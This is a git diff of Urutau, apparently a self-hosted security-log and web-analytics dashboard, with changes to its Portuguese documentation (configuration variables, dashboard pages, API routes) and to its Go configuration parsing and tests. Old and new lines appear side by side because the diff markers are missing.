| `URUTAU_ADMIN_USERS` | vazio | usuários SSH cujo login bem-sucedido mantém o IP fora da blocklist por 24 h após o último login (um sinal forte posterior anula); a imunidade fica desligada a menos que seja definido |
| `URUTAU_PEERS` | vazio | peers a agregar, `nome=https://url` separados por vírgula |
| `URUTAU_RETENTION` | `168h` | retenção como duração do Go, de `1h` a `168h` |
| `GOMEMLIMIT` | limite suave de 160 MiB | limite de memória padrão do Go; defina para sobrescrever |
| `URUTAU_RETENTION` | `720h` | retenção como duração do Go, de `1h` a `720h` (30 dias) |
| `URUTAU_EVENTS_MAX` | `512MB` | teto de tamanho do registro de eventos (`<data-dir>/events`); `0` desliga |
| `URUTAU_TOR_EXITS` | vazio | arquivo de endereços de saída do Tor, um por linha, recarregado a cada 24 h quando muda |
| `GOMEMLIMIT` | limite suave de 256 MiB | limite de memória padrão do Go; defina para sobrescrever |
| `TZ` | UTC | fuso dos timestamps do `fail2ban.log`, que não trazem fuso |
Na imagem do container os três caminhos de log têm como padrão `/logs/traefik/access.log`, `/logs/host/auth.log` e `/logs/host/fail2ban.log` (o compose monta os logs do host ali). O compose acrescenta `URUTAU_VERSION` (tag da imagem), `URUTAU_IMAGE` e `URUTAU_PUBLISH` (endereço e porta no host), veja o `.env.example`.
@@ -54,7 +58,9 @@ Na imagem do container os três caminhos de log têm como padrão `/logs/traefik
País, cidade e ASN vêm das bases DB-IP Lite (cidade e ASN), que o Urutau baixa e atualiza sozinho em `URUTAU_GEO_DIR`. Sem elas (por exemplo num host isolado da internet) o dashboard funciona e os campos geográficos ficam vazios; para operar offline, coloque os arquivos `dbip-city-lite-AAAA-MM.mmdb` e `dbip-asn-lite-AAAA-MM.mmdb` nesse diretório e defina `URUTAU_GEO_UPDATE=0`. As bases são licenciadas CC BY 4.0: mantenha a atribuição (o rodapé do dashboard e o README já a trazem).
A aba Tráfego não precisa de ajuste. `URUTAU_DOMAINS` restringe quais domínios ela acompanha (nomes exatos ou `*.exemplo.com`); um domínio só ganha vaga depois de uma resposta 2xx e domínios inativos são podados, então `Host` forjados não enchem o analytics. O top de páginas normaliza segmentos de caminho com cara de token (ids, hashes, strings aleatórias longas) para `:id`. Ela usa o log do Traefik, conta visitantes únicos por um hash com sal diário e nunca persiste o endereço IP de um visitante legítimo. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md).
As bases de geolocalização são conferidas a cada 24 horas (`--geo-update`), mas a DB-IP publica uma nova só uma vez por mês, então a maioria das conferências não acha nada novo; o arquivo é substituído depois de verificado.
A página Tráfego não precisa de ajuste. `URUTAU_DOMAINS` restringe quais domínios ela acompanha (nomes exatos ou `*.exemplo.com`); um domínio só ganha vaga depois de uma resposta 2xx e domínios inativos são podados, então `Host` forjados não enchem o analytics. O top de páginas normaliza segmentos de caminho com cara de token (ids, hashes, strings aleatórias longas) para `:id`. Ela usa o log do Traefik, conta visitantes únicos por um hash com sal diário e nunca persiste o endereço IP de um visitante legítimo. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md).
## Peers (modo hub)
@@ -69,6 +75,10 @@ Em cada peer, defina o mesmo `URUTAU_PEER_TOKEN`. O hub chama apenas `GET /api/v
O arquivo de snapshot guarda o estado agregado e as posições dos logs. Monte `URUTAU_DATA_DIR` em um volume para mantê-lo entre reinícios. Apague o arquivo para começar do zero (os logs rotacionados serão lidos de novo). A retenção limita por quanto tempo um IP fica, no máximo 168 horas; os intervalos do dashboard são `1h`, `24h` e `7d`.
## Registro de eventos
`<data-dir>/events/` guarda uma linha por evento de atacante, um arquivo por dia UTC, dias antigos compactados com gzip, apagados após `URUTAU_RETENTION`, e limitado no total por `URUTAU_EVENTS_MAX` (um número com unidade opcional, `0` desliga o registro). Nunca guarda um visitante legítimo. Ele vive no mesmo volume do snapshot, então planeje o teto além do snapshot (cerca de 27 MB no pior caso medido). Disco cheio ou o teto descartam eventos e nunca param o serviço. Veja [arquitetura.md](arquitetura.md).
## Autenticação e exposição
O bind padrão é `0.0.0.0` porque o container fica atrás de um proxy. Fora de um container, faça bind em `127.0.0.1` ou coloque um proxy reverso com TLS na frente. `--insecure-no-auth` existe só para testes locais e é recusado em binds que não sejam loopback.
+2 -2
View File
@@ -13,7 +13,7 @@ volume urutau-data ── leitura e escrita ► /data (snapshot,
O compose segue esse layout. O diretório de logs do Traefik é montado fora de `/data` para não colidir com o volume do snapshot. Só o diretório `logs` dedicado do proxy é montado, nunca o `/data/coolify/proxy` inteiro (que guarda `acme.json` e a configuração dinâmica).
A imagem roda com o usuário sem privilégios `urutau` (uid 10001) em Alpine. O `HEALTHCHECK` é o próprio binário (`urutau healthcheck`, que pergunta `/api/health` ao daemon local), então não há `curl` na imagem. O compose define `mem_limit: 256m` e `cpus: 0.5`, sistema de arquivos raiz somente leitura, `cap_drop: [ALL]` e `no-new-privileges`, e repassa do `.env` ao container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` e `TZ`. Para definir qualquer outra variável `URUTAU_*` (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, tokens por peer, ...), acrescente-a ao bloco `environment`.
A imagem roda com o usuário sem privilégios `urutau` (uid 10001) em Alpine. O `HEALTHCHECK` é o próprio binário (`urutau healthcheck`, que pergunta `/api/health` ao daemon local), então não há `curl` na imagem. O compose define um limite de memória (`mem_limit`); o limite suave do Go é 256 MiB e o pior caso medido é cerca de 54 MiB de heap mais um snapshot de cerca de 27 MB, então recomenda-se `mem_limit: 384m`. O volume de dados também guarda o registro de eventos (`/data/events`, limitado por `URUTAU_EVENTS_MAX`, 512 MB por padrão). O compose define e `cpus: 0.5`, sistema de arquivos raiz somente leitura, `cap_drop: [ALL]` e `no-new-privileges`, e repassa do `.env` ao container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` e `TZ`. Para definir qualquer outra variável `URUTAU_*` (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, tokens por peer, ...), acrescente-a ao bloco `environment`.
## Início rápido
@@ -150,7 +150,7 @@ Rode um Urutau por servidor, cada um com seu `URUTAU_NAME`. Toda instância cons
URUTAU_PEER_TOKEN_SERVER_3: ${TOKEN_FOR_SERVER_3}
```
O hub chama apenas `GET /api/v1/peer/export` em cada peer (três intervalos a cada 15 segundos) com o token daquele peer, que não abre mais nada no peer e é recusado em `http` simples fora de loopback. Defina `URUTAU_PEER_ALLOW` em um peer com o endereço do hub para restringir quem pode chamar o export. Cada peer mantém seu próprio token de login para o próprio dashboard.
O hub chama apenas `GET /api/v1/peer/export` em cada peer (três intervalos a cada 15 segundos) e mantém um `GET /api/v1/peer/stream` aberto para os eventos ao vivo, com o token daquele peer, que não abre mais nada no peer e é recusado em `http` simples fora de loopback. Defina `URUTAU_PEER_ALLOW` em um peer com o endereço do hub para restringir quem pode chamar o export. Cada peer mantém seu próprio token de login para o próprio dashboard.
## Endurecimento
+76 -18
View File
@@ -8,31 +8,67 @@ O dashboard é embutido no binário: HTML, CSS e JavaScript puros, sem etapa de
Abra o endereço da instância. Sem sessão você é enviado a `/login`: cole o `URUTAU_TOKEN`. A sessão dura 12 horas (cookie `urutau_session`, `HttpOnly`, `SameSite=Strict`) e é revogável: ela guarda um id aleatório em memória, **Sair** a revoga (e fecha o stream ao vivo dela), e um reinício do daemon invalida todas as sessões. Login e logout rejeitam requisições cross-site. Após 5 falhas do mesmo endereço (IPv6 contado por /64) em 10 minutos o login responde 429, e um token correto ainda é aceito, mas com 1 segundo de atraso, para que o limitador não tranque o dono do lado de fora. Bearer tokens errados na API também contam como falha (o endereço é o do cliente real atrás dos proxies de `--trusted-proxy`). **Sair** encerra a sessão.
<p align="center"><img src="../img/login-dark-pt.png" width="900" alt="Página de login"><br><sub>Login: cole o token de acesso.</sub></p>
## Navegação
Uma barra lateral (barra de abas no celular) reúne as páginas. Cada página abre com uma frase com o número que importa, e o recorte ativo (intervalo, host, domínio) fica sempre escrito sob o título. A página vive no hash da URL (`#/overview`, `#/threats`, `#/geo`, `#/live`, `#/replay`, `#/traffic`, `#/ips`, `#/ip/<ip>`, `#/sources`), então uma visão pode ser salva ou compartilhada; a página Geografia vai mais fundo, como em `#/geo/BR/Pernambuco/Recife` (país, estado, cidade). Um painel de detalhe do IP abre a partir de qualquer IP.
## Cabeçalho
- Um indicador ao vivo mostrando se o stream de eventos (SSE) está conectado (uma instância atende no máximo 20 clientes do stream ao mesmo tempo).
- O seletor de **host**: `all`, esta instância e cada peer de um hub.
- O seletor de **intervalo**: `1h`, `24h` ou `7d`.
- O seletor de **período**: doze intervalos (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) ou um período personalizado (`from` e `to`, no máximo 30 dias). Vale para todas as páginas.
- Botões de idioma, tema e sair.
## Aba Ameaças
## Páginas
- **KPIs:** requisições, eventos maliciosos, IPs hostis, IPs suspeitos, bans e o contador "monitoring" (requisições benignas de User-Agents de monitor, fora dos números de tráfego).
- **Linha do tempo:** contadores empilhados por categoria no intervalo escolhido.
- **IPs:** uma tabela com pontuação, nível (`hostile`, `suspicious`, `low`), categorias, hosts, DNS reverso, país, cidade e ASN, último evento e estado de ban. Tem busca (IP ou DNS reverso), filtro de nível, filtro "só banidos", ordenação por IP, pontuação ou último evento e paginação. Clique numa linha para o painel de detalhe: primeiro e último evento, contagem por categoria, caminhos de exemplo, User-Agents (interpretados em navegador, SO, dispositivo, bot ou ferramenta de ataque), domínios, usuários e jails.
- **Feed ao vivo:** os últimos eventos conforme chegam. Os campos dos logs são mostrados como texto, nunca como marcação.
- **Listas de top:** caminhos atacados, domínios, User-Agents e usuários visados.
- **Blocklist:** escolha uma pontuação mínima (padrão 50), copie a lista ou baixe. Ela só lista endereços hostis e globalmente roteáveis (nunca faixas de `--ignore` ou `--trusted`, nunca um IP com login SSH bem-sucedido); o IPv6 aparece como o /64, escrito `x:x:x:x::/64`.
- **Mapa:** um mapa-múndi dos países de origem da atividade hostil.
- **Hosts e fontes:** cada instância com seu estado (online, latência, versão) e cada fonte de log com seu estado (`following`, `waiting`, `backfill`, `error`), linhas lidas, linhas malformadas e último evento. Os caminhos dos arquivos não são mostrados.
- **Visão geral:** os números principais (requisições, eventos maliciosos, IPs hostis e suspeitos, bans, o contador "monitoring" de requisições benignas de monitores, fora dos números de tráfego), a linha do tempo e os principais IPs.
## Aba Tráfego
<p align="center"><img src="../img/overview-dark-pt.png" width="900" alt="Página Visão geral"><br><sub>Visão geral (dados de demonstração).</sub></p>
- **Ameaças:** contadores empilhados por categoria, o feed ao vivo dos últimos eventos (campos dos logs são mostrados como texto, nunca como marcação) e os principais caminhos atacados, domínios, User-Agents e usuários visados.
Web analytics amigável à privacidade para o tráfego legítimo, construído do mesmo log do Traefik e substituindo o analytics do proxy: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais e dispositivos, latência de resposta (p50 e p95), bytes enviados e um mapa-múndi dos países dos visitantes. Visitantes únicos são contados por um hash com sal diário; o IP de um visitante legítimo nunca é gravado. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md).
<p align="center"><img src="../img/threats-dark-pt.png" width="900" alt="Página Ameaças"><br><sub>Ameaças: categorias ao longo do tempo, KPIs e os últimos eventos.</sub></p>
- **Geografia:** um mapa-múndi por país do atacante. Selecione um país para ver seus estados ou regiões e suas cidades (desenhadas como círculos no país ampliado), as categorias e os principais IPs; selecione uma região para restringir cidades e IPs. A visão é `#/geo/<CC>/<região>`.
<p align="center"><img src="../img/geo-world-dark-pt.png" width="900" alt="Página Geografia: mapa-múndi por país do atacante"><br><sub>Geografia: o mundo por país do atacante.</sub></p>
- **Ao vivo:** ataques desenhados como arcos animados da origem até o servidor que os viu, em mapa plano ou globo 3D, com taxa, categorias, servidores, origens recentes, uma coluna de métricas e últimos eventos, filtros, pausa e tela cheia. Abre reproduzindo os últimos eventos (`/api/v1/live/recent`), então não fica parada num servidor calmo. Em um hub mostra também os eventos de cada peer. A posição de cada servidor vem de `--location`.
<p align="center"><img src="../img/live-globe-dark-pt.png" width="900" alt="Página Ao vivo no globo 3D"><br><sub>Ao vivo: globo 3D.</sub></p>
<p align="center"><img src="../img/replay-dark-pt.png" width="900" alt="Página Replay: um período reproduzido no mapa, com a lista ordenada de eventos e a linha do tempo de incidentes"><br><sub>Replay: um período reproduzido, com os incidentes na linha do tempo.</sub></p>
- **Tráfego:** web analytics amigável à privacidade para o tráfego legítimo, construído do mesmo log do Traefik: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais, dispositivos, latência de resposta (p50 e p95), bytes enviados e um mapa-múndi dos países dos visitantes, por domínio. Visitantes únicos são contados por um hash com sal diário; o IP de um visitante legítimo nunca é gravado. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md).
<p align="center"><img src="../img/traffic-dark-pt.png" width="900" alt="Página Tráfego: web analytics dos visitantes legítimos"><br><sub>Tráfego: web analytics amigável à privacidade.</sub></p>
- **IPs:** uma tabela com pontuação, nível (`hostile`, `suspicious`, `low`), categorias, hosts, DNS reverso, país, cidade e ASN, último evento e estado de ban, com busca (IP ou DNS reverso), filtro de nível, filtro "só banidos", ordenação e paginação. O painel de detalhe mostra primeiro e último evento, contagem por categoria, caminhos de exemplo, User-Agents (interpretados em navegador, SO, dispositivo, bot ou ferramenta de ataque), domínios, usuários e jails.
<p align="center"><img src="../img/ips-dark-pt.png" width="900" alt="Página IPs: tabela de endereços com pontuação, nível, origem e estado de ban"><br><sub>IPs: cada endereço com pontuação e nível.</sub></p>
<p align="center"><img src="../img/ip-analysis-dark-pt.png" width="900" alt="Página de análise de IP de um atacante"><br><sub>Análise de IP: veredito, evidências e ações recomendadas.</sub></p>
- **Análise de IP** (`#/ip/<ip>`, aberta a partir de qualquer IP): o veredito com suas razões, ações recomendadas, famílias de ataque e técnicas MITRE ATT&CK, tipo de rede, cadência, sessões com seu estágio, campanhas, exposição, o histórico de eventos e um download STIX 2.1.
- **Replay** (`#/replay`): um período reproduzido no mapa com a lista ordenada de eventos e a linha do tempo do incidente, a partir do registro de eventos.
- **Fontes e hosts:** cada instância com seu estado (online, latência, versão), cada fonte de log com seu estado (`following`, `waiting`, `backfill`, `error`), linhas lidas, linhas malformadas e último evento (os caminhos dos arquivos não são mostrados), e a **blocklist**: escolha uma pontuação mínima (padrão 50), copie ou baixe. Ela só lista endereços hostis e globalmente roteáveis (nunca faixas de `--ignore` ou `--trusted`, nunca um IP com login SSH bem-sucedido); o IPv6 aparece como o /64, escrito `x:x:x:x::/64`.
<p align="center"><img src="../img/sources-dark-pt.png" width="900" alt="Página Fontes e hosts: instâncias, fontes de log e blocklist"><br><sub>Fontes e hosts.</sub></p>
<p align="center"><img src="../img/overview-light.png" width="620" alt="Visão geral no tema claro"> <img src="../img/overview-mobile.png" height="420" alt="Visão geral no celular"><br><sub>O tema claro no desktop e o layout de celular (uma barra de abas substitui a lateral).</sub></p>
## Grupos de páginas
A barra lateral agrupa as páginas:
- **Monitorar:** Visão geral, Ao vivo, Serviços (SLO por serviço, orçamento de erro, burn rate e Apdex; `#/slo`).
- **Investigar:** IPs, Sessões (o funil de recon até acesso), Campanhas (e uma página por campanha), Replay e Busca de eventos.
- **Analisar:** Ameaças, MITRE ATT&CK (técnicas vistas e quando foram vistas pela primeira vez), Geografia, Evolução (mudança ao longo do tempo), Concentração (quanto vem de poucos IPs ou ASNs), Sobrevivência (tempo até o ban, Kaplan-Meier), Tráfego, De onde vêm os erros (classes `app`, `proxy`, `blocked`, `attack`, `bot`, `client`, `unknown`) e Protocolos e TLS (versões de HTTP e de TLS em uso).
- **Operar:** Defesa (cobertura e vazamentos de ban e blocklist), Fontes e hosts, Integridade (saúde dos dados: fontes, registro, snapshot).
- **Relatórios:** um resumo de um período, de `GET /api/v1/report`.
## Glossário e dicas
Um pequeno botão **"?"** fica ao lado de métricas, categorias e títulos de coluna. Ele recebe foco pelo teclado e abre uma explicação curta (o que o número significa) e uma linha "o que fazer", em inglês ou português. O texto vem de um glossário central, então o mesmo termo aparece igual em todas as páginas.
## Atribuição
Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). O crédito também aparece no rodapé do dashboard.
Os limites de estados e cidades da página Geografia são do [Natural Earth](https://www.naturalearthdata.com), domínio público. Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). O crédito também aparece no rodapé do dashboard.
## Rotas HTTP
@@ -41,13 +77,35 @@ Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob
| `GET /api/health` | nenhuma | `{"status":"ok"}` |
| `GET /login`, `POST /login`, `POST /logout` | nenhuma | sessão |
| `GET /` e os arquivos estáticos | sessão | o dashboard |
| `GET /api/v1/summary` | sessão ou bearer | tudo o que o dashboard mostra. Query: `range` (`1h`, `24h`, `7d`), `host` (`all`, um nome) |
| `GET /api/v1/summary` | sessão ou bearer | tudo o que o dashboard mostra. Query: `range` (qualquer intervalo nomeado) ou `from` e `to`, `host` (`all`, um nome) |
| `GET /api/v1/traffic` | sessão ou bearer | web analytics do tráfego legítimo. Query: `range`, `domain` (`all` ou um domínio), `host`. Retorna visitantes, páginas, requisições, bots, bytes, classes de status, `p50_ms`, `p95_ms`, linha do tempo, top de páginas, referrers, países, cidades, navegadores, sistemas operacionais, dispositivos e nomes de bots |
| `GET /api/v1/peer/export` | só token de peer | federação: `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes. Query: `range` (`1h`, `24h`, `7d`). Cache de 5 s. 404 sem token de peer, 401 para `URUTAU_TOKEN`, 403 de origem fora de `--peer-allow` |
| `GET /api/v1/geo` | sessão ou `URUTAU_TOKEN` | geografia dos atacantes. Sem `cc`: `{"countries":[{"cc","events","ips","hostile","suspicious","cats"}]}` (até 250). Com `cc=XX` (e opcionalmente `region`): `{"cc","events","ips","hostile","suspicious","cats","regions":[...],"cities":[{"name","region","lat","lon","events","ips"}],"top_ips":[...]}` (64 regiões, 200 cidades, 50 IPs). Query: `range`, `host`. Cache de 5 s |
| `GET /api/v1/live/recent` | sessão ou `URUTAU_TOKEN` | `{"events":[...]}`: os últimos eventos maliciosos desta instância e dos peers, do mais novo ao mais velho, no formato do stream. Query: `limit` (padrão 200, máximo 500) |
| `GET /api/v1/peer/stream` | só token de peer | federação ao vivo: eventos maliciosos desta instância por SSE. No máximo 10 conexões; mesmas regras 404/401/403 do export |
| `GET /api/v1/peer/export` | só token de peer | federação: `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes. Query: `range` ou `from`/`to`. Cache de 5 s. 404 sem token de peer, 401 para `URUTAU_TOKEN`, 403 de origem fora de `--peer-allow` |
| `GET /api/v1/events` | sessão ou bearer | eventos do registro, do mais novo ao mais antigo. Query: `range` ou `from`/`to`, `host`, `ip`, `cat`, `fam`, `q`, `order`, `limit`, `cursor` |
| `GET /api/v1/events/sessions` | sessão ou bearer | sessões (rajadas com estágio) do período, opcionalmente de um `ip` |
| `GET /api/v1/period` | sessão ou bearer | o estudo de um período: sessões, campanhas, técnicas vistas pela primeira vez, escaladas, picos, novos vs recorrentes, principais alvos, famílias, técnicas, usuários e ASNs. Query: `range` ou `from`/`to`, `host`, `gap` (segundos entre sessões, 30 a 86400) |
| `GET /api/v1/period/events` | sessão ou bearer | os eventos de um período no formato do stream, para o replay |
| `GET /api/v1/metrics` | sessão ou bearer | métricas estáveis (veja [arquitetura.md](arquitetura.md)). Query: `range` ou `from`/`to`, `host` |
| `GET /api/v1/ip/{ip}/stix` | sessão ou bearer | bundle STIX 2.1 de um IP |
| `GET /api/v1/peer/period` | só token de peer | federação: o estudo que um hub mescla. No máximo dois ao mesmo tempo (503 com `Retry-After` caso contrário) |
| `GET /api/v1/techniques` | sessão ou bearer | técnicas MITRE ATT&CK vistas no período |
| `GET /api/v1/evolution`, `/concentration`, `/survival` | sessão ou bearer | análises do período: mudança ao longo do tempo, concentração por IP e ASN, e tempo até o ban com a curva de Kaplan-Meier |
| `GET /api/v1/sessions/funnel` | sessão ou bearer | sessões por estágio (recon, probe, exploit, access, banned) |
| `GET /api/v1/campaigns`, `/api/v1/campaigns/{id}` | sessão ou bearer | campanhas do período, e uma campanha com seus IPs |
| `GET /api/v1/defense` | sessão ou bearer | cobertura e vazamentos de ban e blocklist |
| `GET /api/v1/errors` | sessão ou bearer | erros por classe (`app`, `proxy`, `blocked`, `attack`, `bot`, `client`, `unknown`) |
| `GET /api/v1/integrity` | sessão ou bearer | saúde dos dados: fontes, registro, snapshot |
| `GET /api/v1/report` | sessão ou bearer | resumo de um período (requisições, ataques, IPs hostis, bans, visitantes, clientes não humanos, páginas vistas, principais IPs) |
| `GET /api/v1/services`, `/api/v1/services/{svc}` | sessão ou bearer | SLI, SLO, orçamento de erro, burn rate e Apdex por serviço |
| `GET /api/v1/protocols` | sessão ou bearer | versões de HTTP e TLS em uso |
| `GET /api/v1/ips` | sessão ou bearer | tabela de IPs. Query: `range`, `host`, `min_score`, `level`, `q`, `banned=1`, `sort` (`score`, `last`, `first`, `events`, `ip`), `order=asc`, `per` (1 a 200, padrão 50), `page` |
| `GET /api/v1/ip/{ip}` | sessão ou bearer | detalhe de um IP, mesclado com os exports dos peers |
| `GET /api/v1/events/stream` | sessão ou bearer | Server-Sent Events, evento `ev`, um ping a cada 20 s |
| `GET /api/v1/ip/{ip}` | sessão ou bearer | análise resumida de um IP: veredito com razões, ações, famílias, técnicas, tipo de rede, cadência, sessões e exposição; mesclada com os peers. Query: `range` ou `from`/`to` (padrão 30d) |
| `GET /api/v1/events/stream` | sessão ou bearer | Server-Sent Events, evento `ev`, um ping a cada 20 s. Com `visits=1` também envia eventos `visit` anônimos (sem endereço, no máximo 20 por segundo) |
| `GET /api/v1/blocklist.txt` | sessão ou bearer | um IP por linha. Query: `min_score` (padrão 50), `range` (padrão `7d`), `host`, `family` (`4`, `6`; padrão ambos; `4` serve ao `ipset hash:ip`), `download=1` |
| `GET /api/v1/blocklist.json` | sessão ou bearer | `{"generated","min_score","count","ips":[{"ip","score","last","hosts"}]}`; o `ip` de uma entrada IPv6 é um prefixo `/64` |
Clientes da API enviam `Authorization: Bearer <URUTAU_TOKEN>`. O token de peer só é aceito por `/api/v1/peer/export`; todas as outras rotas respondem 403 a ele.
Um `range` ou período inválido responde 400, e `range` nas respostas é um objeto `{name,from,to,step,clipped}` (`step` é a granularidade da linha do tempo em segundos).
Clientes da API enviam `Authorization: Bearer <URUTAU_TOKEN>`. O token de peer só é aceito por `/api/v1/peer/export`, `/api/v1/peer/stream` e `/api/v1/peer/period`; todas as outras rotas respondem 403 a ele.
+15
View File
@@ -413,3 +413,18 @@ func TestDefaultIgnoreCoversPrivateRanges(t *testing.T) {
}
}
}
func TestLocationFlagIsValidated(t *testing.T) {
for _, tc := range []struct {
v string
ok bool
}{{"", true}, {"-8.05,-34.9", true}, {"-8.05,-34.9,Recife", true}, {"95,0", false}, {"x", false}} {
c, err := ParseFlags("t", []string{"--location", tc.v})
if err != nil {
t.Fatal(err)
}
if _, err := c.Validate("zK3vQ9xT2mLp7WdR4nYb8HsJ6cFg1UaE5oXi0VtN"); (err == nil) != tc.ok {
t.Errorf("%q: %v", tc.v, err)
}
}
}
+73 -26
View File
@@ -9,37 +9,69 @@ import (
"os"
"path/filepath"
"regexp"
"strconv"
"strings"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
// Config is the runtime configuration of `urutau serve` and `urutau doctor`.
type Config struct {
Bind string
Name string
DataDir string
TraefikLog string
AuthLog string
Fail2banLog string
Ignore string // networks whose events are dropped (--ignore, alias of --trusted)
Trusted string // trusted sources, e.g. the servers themselves (--trusted)
MonitorUA string // regex of monitoring User-Agents
MonitorFrom string // networks monitors come from (empty: any source)
Domains string // optional allowlist of analytics domains
AdminUsers string // SSH users whose logins grant admin immunity (empty: any user)
PeerTokens []string // tokens accepted by /api/v1/peer/export
PeerTokenFor map[string]string // per peer name (upper case) token used by the hub
GeoDir string // directory of the geo databases (default <data-dir>/geo)
GeoUpdate time.Duration
Peers []string
PeerToken string
PeerAllow string // CIDRs allowed to call /api/v1/peer/export (empty: any source with the token)
TrustedProxy string // proxies whose X-Forwarded-For is believed
Retention time.Duration
NoAuth bool
Bind string
Name string
DataDir string
TraefikLog string
AuthLog string
Fail2banLog string
Ignore string // networks whose events are dropped (--ignore, alias of --trusted)
Trusted string // trusted sources, e.g. the servers themselves (--trusted)
MonitorUA string // regex of monitoring User-Agents
MonitorFrom string // networks monitors come from (empty: any source)
Domains string // optional allowlist of analytics domains
AdminUsers string // SSH users whose logins grant admin immunity (empty: any user)
PeerTokens []string // tokens accepted by /api/v1/peer/export
PeerTokenFor map[string]string // per peer name (upper case) token used by the hub
GeoDir string // directory of the geo databases (default <data-dir>/geo)
GeoUpdate time.Duration
Peers []string
PeerToken string
Location string // "lat,lon" or "lat,lon,label" (--location)
PeerBlocklist string // "on" (default) or "off"
PeerAllow string // CIDRs allowed to call /api/v1/peer/export (empty: any source with the token)
TrustedProxy string // proxies whose X-Forwarded-For is believed
Retention time.Duration
TorExits string // file with Tor exit addresses, one per line; empty disables the check
EventsMax string // size cap of the event registry ("512MB", "0" disables it)
NoAuth bool
}
// DefaultEventsMax is the default size cap of the event registry.
const DefaultEventsMax = "512MB"
// ParseSize reads "512MB", "1GiB", "2g", "1048576" (bytes) into bytes.
func ParseSize(v string) (int64, error) {
v = strings.TrimSpace(strings.ToLower(v))
if v == "" {
return 0, fmt.Errorf("empty size")
}
mult := int64(1)
for _, u := range []struct {
suf string
m int64
}{{"gib", 1 << 30}, {"mib", 1 << 20}, {"kib", 1 << 10}, {"gb", 1 << 30}, {"mb", 1 << 20}, {"kb", 1 << 10}, {"g", 1 << 30}, {"m", 1 << 20}, {"k", 1 << 10}, {"b", 1}} {
if strings.HasSuffix(v, u.suf) {
mult, v = u.m, strings.TrimSpace(strings.TrimSuffix(v, u.suf))
break
}
}
n, err := strconv.ParseFloat(v, 64)
if err != nil || n < 0 || n > 1<<40 {
return 0, fmt.Errorf("invalid size %q", v)
}
return int64(n * float64(mult)), nil
}
type listFlag []string
@@ -103,7 +135,7 @@ func ParseFlags(name string, args []string) (Config, error) {
mfrom := &csvFlag{val: env("URUTAU_MONITOR_FROM", "")}
doms := &csvFlag{val: env("URUTAU_DOMAINS", "")}
admins := &csvFlag{val: env("URUTAU_ADMIN_USERS", "")}
fs.Var(admins, "admin-users", "SSH users whose successful logins keep their IP out of the blocklist for 24 h; empty means any user (URUTAU_ADMIN_USERS)")
fs.Var(admins, "admin-users", "SSH users whose successful logins keep their IP out of the blocklist for 24 h; empty means nobody is immune (URUTAU_ADMIN_USERS)")
fs.Var(mfrom, "monitor-from", "networks the monitoring User-Agents come from; empty trusts the User-Agent alone for benign hits (URUTAU_MONITOR_FROM)")
fs.Var(doms, "domains", "analytics domain allowlist, exact names or *.example.com; empty tracks every domain that answers 2xx/3xx (URUTAU_DOMAINS)")
fs.StringVar(&c.GeoDir, "geo-dir", env("URUTAU_GEO_DIR", ""), "geo database directory, default <data-dir>/geo (URUTAU_GEO_DIR)")
@@ -115,7 +147,11 @@ func ParseFlags(name string, args []string) (Config, error) {
tproxy := &csvFlag{val: env("URUTAU_TRUSTED_PROXY", DefaultTrustedProxy)}
fs.Var(allow, "peer-allow", "CIDRs allowed to call /api/v1/peer/export, empty allows any source with the token (URUTAU_PEER_ALLOW)")
fs.Var(tproxy, "trusted-proxy", "reverse proxies whose X-Forwarded-For is trusted for the real client IP (URUTAU_TRUSTED_PROXY)")
fs.DurationVar(&c.Retention, "retention", 7*24*time.Hour, "how long data is kept, at most 168h (URUTAU_RETENTION)")
fs.StringVar(&c.Location, "location", env("URUTAU_LOCATION", ""), `where this instance lives, "lat,lon" or "lat,lon,label"; shown as the destination of live arcs (URUTAU_LOCATION)`)
fs.StringVar(&c.PeerBlocklist, "peer-blocklist", env("URUTAU_PEER_BLOCKLIST", "on"), "on: the blocklist also lists strong hostile IPs seen only by peers; off: local IPs only (URUTAU_PEER_BLOCKLIST)")
fs.DurationVar(&c.Retention, "retention", store.DefaultRetention, "how long data is kept, at most 720h (URUTAU_RETENTION)")
fs.StringVar(&c.TorExits, "tor-exits", env("URUTAU_TOR_EXITS", ""), "file with Tor exit node addresses, one per line, reloaded every 24 h when it changes; empty disables (URUTAU_TOR_EXITS)")
fs.StringVar(&c.EventsMax, "events-max", env("URUTAU_EVENTS_MAX", DefaultEventsMax), "size cap of the event registry in <data-dir>/events, 0 disables it (URUTAU_EVENTS_MAX)")
fs.BoolVar(&c.NoAuth, "insecure-no-auth", false, "disable authentication; only allowed on a loopback bind")
if v := os.Getenv("URUTAU_GEO_UPDATE"); v != "" {
if d, err := time.ParseDuration(v); err == nil {
